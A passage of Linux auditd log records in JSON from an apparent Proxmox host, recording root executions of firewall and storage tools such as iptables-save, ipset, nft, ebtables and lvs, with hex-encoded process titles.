name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745188,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.188:62417): arch=c000003e syscall=59 success=yes exit=0 a0=7fff304ed720 a1=60e4db071310 a2=60e4db06a680 a3=5 items=2 ppid=59861 pid=59862 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965478146,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965478.146:65786): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205665,"@rawstring":"node=pve type=PATH msg=audit(1781966205.665:68875): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.184:62415): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59861 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965478136,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965478.136:65785): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205665,"@rawstring":"node=pve type=PATH msg=audit(1781966205.665:68875): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745179,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.179:62414): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59860 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965478136,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965478.136:65784): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205656,"@rawstring":"node=pve type=PATH msg=audit(1781966205.656:68874): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.171:62413): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f4650 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59859 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965478136,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965478.136:65783): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205656,"@rawstring":"node=pve type=PATH msg=audit(1781966205.656:68874): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745166,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.166:62412): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59858 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475478,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.478:65782): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966205650,"@rawstring":"node=pve type=PATH msg=audit(1781966205.650:68873): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.160:62411): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59857 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.473:65781): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966205650,"@rawstring":"node=pve type=PATH msg=audit(1781966205.650:68873): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.156:62410): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5e3e07ea5740 items=0 ppid=1156 pid=59856 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965475473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.473:65780): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966205641,"@rawstring":"node=pve type=PATH msg=audit(1781966205.641:68872): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745154,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.154:62409): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc101420 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59856 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.473:65779): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966205641,"@rawstring":"node=pve type=PATH msg=audit(1781966205.641:68872): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745149,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.149:62408): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc149cd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59855 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475463,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.463:65778): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966205630,"@rawstring":"node=pve type=PATH msg=audit(1781966205.630:68871): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745144,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.144:62407): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc130670 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475458,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.458:65777): proctitle=\"ip6tables-save\""} {"@timestamp":1781966205630,"@rawstring":"node=pve type=PATH msg=audit(1781966205.630:68871): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745140,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.140:62406): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f09c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59853 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475451,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.451:65776): proctitle=\"iptables-save\""} {"@timestamp":1781966204343,"@rawstring":"node=pve type=PATH msg=audit(1781966204.343:68870): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.135:62405): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130670 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59852 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475443,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.443:65775): proctitle=\"ip6tables-save\""} {"@timestamp":1781966204343,"@rawstring":"node=pve type=PATH msg=audit(1781966204.343:68870): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745130,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.130:62404): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59851 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475437,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.437:65774): proctitle=\"iptables-save\""} {"@timestamp":1781966204311,"@rawstring":"node=pve type=PATH msg=audit(1781966204.311:68869): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745124,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.124:62403): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59850 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475433,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.433:65773): proctitle=\"ebtables-restore\""} {"@timestamp":1781966204311,"@rawstring":"node=pve type=PATH msg=audit(1781966204.311:68869): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745117,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.117:62402): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59849 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475431,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.431:65772): proctitle=\"ebtables-restore\""} {"@timestamp":1781966201221,"@rawstring":"node=pve type=PATH msg=audit(1781966201.221:68868): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745114,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.114:62401): arch=c000003e syscall=59 success=yes exit=0 a0=5971f1fc0b20 a1=5971f1fcce00 a2=5971f1f9a680 a3=5 items=2 ppid=59842 pid=59848 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475426,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.426:65771): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966201221,"@rawstring":"node=pve type=PATH msg=audit(1781966201.221:68868): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745111,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.111:62400): arch=c000003e syscall=59 success=yes exit=0 a0=5971f0b08ac8 a1=7ffc068bea80 a2=5971f1f9a680 a3=5971f0aec24e items=2 ppid=59842 pid=59844 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.421:65770): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966201221,"@rawstring":"node=pve type=PATH msg=audit(1781966201.221:68867): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745110,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.110:62399): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc068bea40 a1=5971f1fbc1c0 a2=5971f1f9a680 a3=5 items=2 ppid=59842 pid=59843 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475415,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.415:65769): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966201221,"@rawstring":"node=pve type=PATH msg=audit(1781966201.221:68867): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745107,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.107:62397): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475410,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.410:65768): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966201218,"@rawstring":"node=pve type=PATH msg=audit(1781966201.218:68866): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745101,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.101:62396): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59841 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475405,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.405:65767): proctitle=697073657400726573746F7265"} {"@timestamp":1781966201218,"@rawstring":"node=pve type=PATH msg=audit(1781966201.218:68866): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745095,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.095:62395): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59840 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475399,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.399:65766): proctitle=\"ip6tables-save\""} {"@timestamp":1781966200785,"@rawstring":"node=pve type=PATH msg=audit(1781966200.785:68865): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745090,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.090:62394): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb740eff0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59839 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.393:65765): proctitle=\"iptables-save\""} {"@timestamp":1781966200785,"@rawstring":"node=pve type=PATH msg=audit(1781966200.785:68865): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745085,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.085:62393): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135540 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59838 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475388,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.388:65764): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966200785,"@rawstring":"node=pve type=PATH msg=audit(1781966200.785:68864): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745078,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.078:62392): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e63b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59837 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475380,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.380:65763): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966200785,"@rawstring":"node=pve type=PATH msg=audit(1781966200.785:68863): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964744427,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964744.427:62391): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73edd40 a1=64f8d741b560 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59836 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475380,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.380:65762): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966200779,"@rawstring":"node=pve type=PATH msg=audit(1781966200.779:68862): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964744387,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964744.387:62390): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d5580 a1=64f8d73cee70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59835 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475380,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.380:65761): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966200779,"@rawstring":"node=pve type=PATH msg=audit(1781966200.779:68862): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740483,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964740.483:62389): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59832 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475375,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.375:65760): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966200779,"@rawstring":"node=pve type=PATH msg=audit(1781966200.779:68861): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964740.473:62386): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59831 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475367,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.367:65759): proctitle=\"ip6tables-save\""} {"@timestamp":1781966200779,"@rawstring":"node=pve type=PATH msg=audit(1781966200.779:68860): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736068,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.068:62383): arch=c000003e syscall=59 success=yes exit=0 a0=58db562df0e0 a1=58db562dbe60 a2=58db562bd680 a3=5 items=2 ppid=59824 pid=59830 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.361:65758): proctitle=\"iptables-save\""} {"@timestamp":1781966195763,"@rawstring":"node=pve type=PATH msg=audit(1781966195.763:68859): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736066,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.066:62382): arch=c000003e syscall=59 success=yes exit=0 a0=58db1ab5aac8 a1=7ffcc208be70 a2=58db562bd680 a3=58db1ab3e24e items=2 ppid=59824 pid=59826 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475355,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965475.355:65757): proctitle=69707365740073617665"} {"@timestamp":1781966195763,"@rawstring":"node=pve type=PATH msg=audit(1781966195.763:68859): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736065,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.065:62381): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcc208be30 a1=58db562c4310 a2=58db562bd680 a3=5 items=2 ppid=59824 pid=59825 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475349,"@rawstring":"node=pve type=PROCTITLE 